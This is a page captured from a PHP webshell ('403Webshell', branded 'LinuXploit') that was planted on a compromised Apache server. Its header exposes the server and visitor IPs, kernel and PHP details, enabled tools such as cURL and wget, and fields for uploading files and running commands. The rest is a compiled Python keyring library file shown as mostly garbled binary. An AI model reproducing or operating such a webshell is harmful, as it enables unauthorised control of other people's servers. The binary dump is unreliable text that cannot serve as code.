403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/keyrings/alt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/keyrings/alt/__pycache__/pyfs.cpython-311.pyc
�

<&cF#��"�ddlZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZm
Z
ddlmZ	ddlZddlZddlZddlZddlZn#e$rYnwxYwd	�ZGd
�de��ZGd�d
e��ZGd�de��ZGd�de��ZdS)�N)�
properties)�errors�)�escape)�	platform_)�KeyringBackend�NullCrypter)�keyczarc��tj��5}tjjddd��n#1swxYwYt	|��S)z�
    Does this environment have pyfs 1.x installed?
    Should return False even when Mercurial's Demand Import allowed import of
    fs.*.
    N)r�ExceptionRaisedContext�fs�opener�bool)�excs �3/usr/lib/python3/dist-packages/keyrings/alt/pyfs.py�has_pyfsrs~��
�	&�	(�	(��C�
�	����������������������C�y�y�=�s�2�6�6c����eZdZdZdZd�fd�	Zejd���Ze	d���Z
d�Zd	�Zdd�Z
d�Zd
�Ze	d���Zd�Zd�Zd�Zejd���Z�xZS)�BasicKeyringa�BasicKeyring is a Pyfilesystem-based implementation of
    keyring.

    It stores the password directly in the file, and supports
    encryption and decryption. The encrypted password is stored in base64
    format.
    Being based on Pyfilesystem the file can be local or network-based and
    served by any of the filesystems supported by Pyfilesystem including Amazon
    S3, FTP, WebDAV, memory and more.
    zkeyring_pyf_pass.cfgNTc���tt|�����||_tj�tj��|j	j
��}|p||_
||_||_dS�N)
�superr�__init__�_crypter�os�path�joinr�	data_root�	__class__�	_filename�_can_create�_cache_timeout)�self�crypter�filename�
can_create�
cache_timeout�def_fnrs      �rrzBasicKeyring.__init__0sk���
�l�D�!�!�*�*�,�,�,���
�����i�1�3�3�T�^�5M�N�N��!�+�V���%���+�����c�n�tj�tj��|j��S)z�
        The path to the file where passwords are stored. This property
        may be overridden by the subclass or at the instance level.
        )rrrrrr$�r"s r�	file_pathzBasicKeyring.file_path8s%���w�|�|�I�/�1�1�4�=�A�A�Ar(c��|jS)z)The filename used to store the passwords.)rr*s rr$zBasicKeyring.filename@s���~�r(c�P�|r|js|pdS|j�|��S)zEncrypt the password.r()r�encrypt)r"�passwords  rr.zBasicKeyring.encryptEs3���	#�t�}�	#��?�s�"��}�$�$�X�.�.�.r(c�P�|r|js|pdS|j�|��S)zDecrypt the password.r()r�decrypt)r"�password_encrypteds  rr1zBasicKeyring.decryptKs5��!�	-���	-�%�,��,��}�$�$�%7�8�8�8r(�rc�P�d}d|vpd|vpd|v}	|�||��}n#tjj$rh|jr[|���\}}	||_||_|�||��cYS#tjj$r|r�YnwxYw|r�YnwxYw|S)z,Open the password file in the specified modeN�w�a�+)	�_get_openerr
r�ResourceNotFoundErrorr �_create_pyfs�_pyfs�_path�open)r"�mode�	open_file�	writeable�pyfs�url2s      r�_openzBasicKeyring._openQs����	��4�K�=�3�$�;�=�#��+�	�	��(�(��y�9�9�I�I���y�.�	�	�	���
�!�.�.�0�0�
��d�	�!%�D�J�!%�D�J��9�9�T�4�0�0�0�0�0���y�6���� �����	�����
����%	����&�s3�'�2B#�#B�=B#�B�B#�B�B#�"B#c�J�tjj�|j��}|�r|���\}}}}}|s
Jd���d}d|vr<|�dd��}t
|��dkr	|d}nd}|d}tjj�|�d|����}	|j�&tj	�
|	|j���}	tj�|��\}
}|
r,|	�
|
��s|	�|
d	�
��netj�|j��}tj�|��\}
}tj�|
��}	|	|fS)NzShould be a remote filesystem��:�/rrz://�r&T)�	recursive)r
r�split_segmentsr$�groups�split�len�opendirr!�remote�CacheFSrr�exists�makedir�_expand_syspath�osfs�OSFS)
r"�segments�fs_name�credentials�url1rBr�host�
split_url2rA�	url2_path�
url2_filename�full_urls
             rr:zBasicKeyring._create_pyfsls����9�#�2�2�4�=�A�A���	+�5=�_�_�5F�5F�2�G�[�$��d��;�;�;�;�;�;��D��d�{�{�!�Z�Z��Q�/�/�
��z�?�?�Q�&�&�%�a�=�D�D��D�!�!�}���9�#�+�+����$�$�,G�H�H�D��"�.��y�(�(��T�=P�(�Q�Q��(*�w�}�}�T�':�':�$�I�}��
8����Y�!7�!7�
8����Y�$��7�7�7���y�0�0���?�?�H�!�g�m�m�H�5�5�O�I�t��7�<�<�	�*�*�D��T�z�r(c��|j�d��s|j�d��r9tj�|j���d|��}n�t
|d��sotjj�|j|���\|_|_	|j
�0tj�|j|j
���|_|j�|j	|��}|S)Nzmem://zram://zkr.cfgr;)r@rH)
r$�
startswithr
r�	fsopendirr=�hasattr�parser;r<r!rOrP)r"r>r@r?s    rr8zBasicKeyring._get_opener�s����=�#�#�H�-�-�
	:���1I�1I�(�1S�1S�
	:��	�+�+�D�M�:�:�?�?��$�O�O�I�I��4��)�)�	
�)+��)9�)?�)?��M�Y�*@�*�*�&��
�D�J��&�2�!#��!2�!2��
�$�2E�"3�"�"�D�J��
����
�D�9�9�I��r(c��t|d��sCtj��}|�|���pg��||_|jS)z'load the passwords from the config file�_config)rb�configparser�RawConfigParser�	read_filerCre)r"�
raw_configs  r�configzBasicKeyring.config�sT���t�Y�'�'�	&�%�5�7�7�J�� � ������!3��4�4�4�%�D�L��|�r(c�^�t|��}t|��}	|j�||�����}t	j|��}|�|���d��}n##tj	tj
f$rd}YnwxYw|S)z Read the password from the file.�utf-8N)�escape_for_inirj�get�encode�base64�decodebytesr1�decoderf�
NoOptionError�NoSectionError)r"�service�username�password_base64r2r/s      r�get_passwordzBasicKeyring.get_password�s��� ��)�)��!�(�+�+��	�"�k�o�o�g�x�@�@�G�G�I�I�O�!'�!3�O�!D�!D���|�|�$6�7�7�>�>�w�G�G�H�H���*�L�,G�H�	�	�	��H�H�H�	�����s�A)B
�
B*�)B*c��t|��}t|��}|pd}|�|�d����}tj|�����}|j�|��s|j�|��|j�	|||��|�
d��}|j�|��|���dS)zWrite the password in the file.rErlr5N)
rmr.rorp�encodebytesrrrj�has_section�add_section�setrC�write�close)r"rurvr/r2rw�config_files       r�set_passwordzBasicKeyring.set_password�s��� ��)�)��!�(�+�+���>�r��!�\�\�(�/�/�'�*B�*B�C�C��!�,�-?�@�@�G�G�I�I���{�&�&�w�/�/�	-��K�#�#�G�,�,�,�������?�;�;�;��j�j��o�o������+�&�&�&��������r(c�P�t|��}t|��}	|j�||��n'#tj$rtjd���wxYw|�d��}|j�|��|�	��dS)NzPassword not foundr5)
rmrj�
remove_optionrfrtr�PasswordDeleteErrorrCr~r)r"rurvr�s    r�delete_passwordzBasicKeyring.delete_password�s��� ��)�)��!�(�+�+��	C��K�%�%�g�x�8�8�8�8���*�	C�	C�	C��,�-A�B�B�B�	C�����j�j��o�o������+�&�&�&��������s	�<�$A c�@�t��std���dS)Nz
pyfs required�)r�RuntimeError)�clss r�priorityzBasicKeyring.priority�s!���z�z�	0���/�/�/��qr(�NTN)r3)�__name__�
__module__�__qualname__�__doc__rrr�NonDataPropertyr+�propertyr$r.r1rCr:r8rjrxr�r��
classpropertyr��
__classcell__�rs@rrr"sC�������	�	�'�I�,�,�,�,�,�,���B�B� ��B�����X��/�/�/�9�9�9�����6���B���(����X����� ���&
�
�
�����������r(rc�$��eZdZdZd�fd�	Z�xZS)�PlaintextKeyringz Unencrypted Pyfilesystem KeyringNTc�x��tt|���t��|||���dS�N)r$r%r&)rr�rr	)r"r$r%r&rs    �rrzPlaintextKeyring.__init__�sE���
���%�%�.�.��M�M��!�'�		/�	
�	
�	
�	
�	
r(r��r�r�r�r�rr�r�s@rr�r��sC�������*�*�
�
�
�
�
�
�
�
�
�
r(r�c�(��eZdZdZdZd�fd�	Z�xZS)�EncryptedKeyringzEncrypted Pyfilesystem Keyringzcrypted_pyf_pass.cfgNTc�`��tt|���||||���dSr�)rr�r)r"r#r$r%r&rs     �rrzEncryptedKeyring.__init__�sA���
���%�%�.�.���!�'�		/�	
�	
�	
�	
�	
r(r�)r�r�r�r�rrr�r�s@rr�r��sH�������(�(�&�I�
�
�
�
�
�
�
�
�
�
r(r�c�"��eZdZdZ�fd�Z�xZS)�KeyczarKeyringz[Encrypted Pyfilesystem Keyring using Keyczar keysets specified in
    environment vars
    c�z��tt|���tj����dSr)rr�rr
�EnvironCrypter)r"rs �rrzKeyczarKeyring.__init__�s0���
�n�d�#�#�,�,�W�-C�-E�-E�F�F�F�F�Fr(r�r�s@rr�r��sK���������G�G�G�G�G�G�G�G�Gr(r�)rrprf�jaraco.classesr�keyringrrrm�keyring.utilr�keyring.backendrr	rEr
�	fs.openerr
�fs.osfs�	fs.errors�fs.path�	fs.remote�ImportErrorrrr�r�r��r(r�<module>r�s���	�	�	�	�
�
�
�
�����%�%�%�%�%�%�������,�,�,�,�,�,�"�"�"�"�"�"�7�7�7�7�7�7�7�7�������	������N�N�N������N�N�N��������	�	�	��D�	�������{�{�{�{�{�>�{�{�{�|	
�	
�	
�	
�	
�|�	
�	
�	
�
�
�
�
�
�|�
�
�
�G�G�G�G�G�%�G�G�G�G�Gs�A	�	A�A

Youez - 2016 - github.com/yon3zu
LinuXploit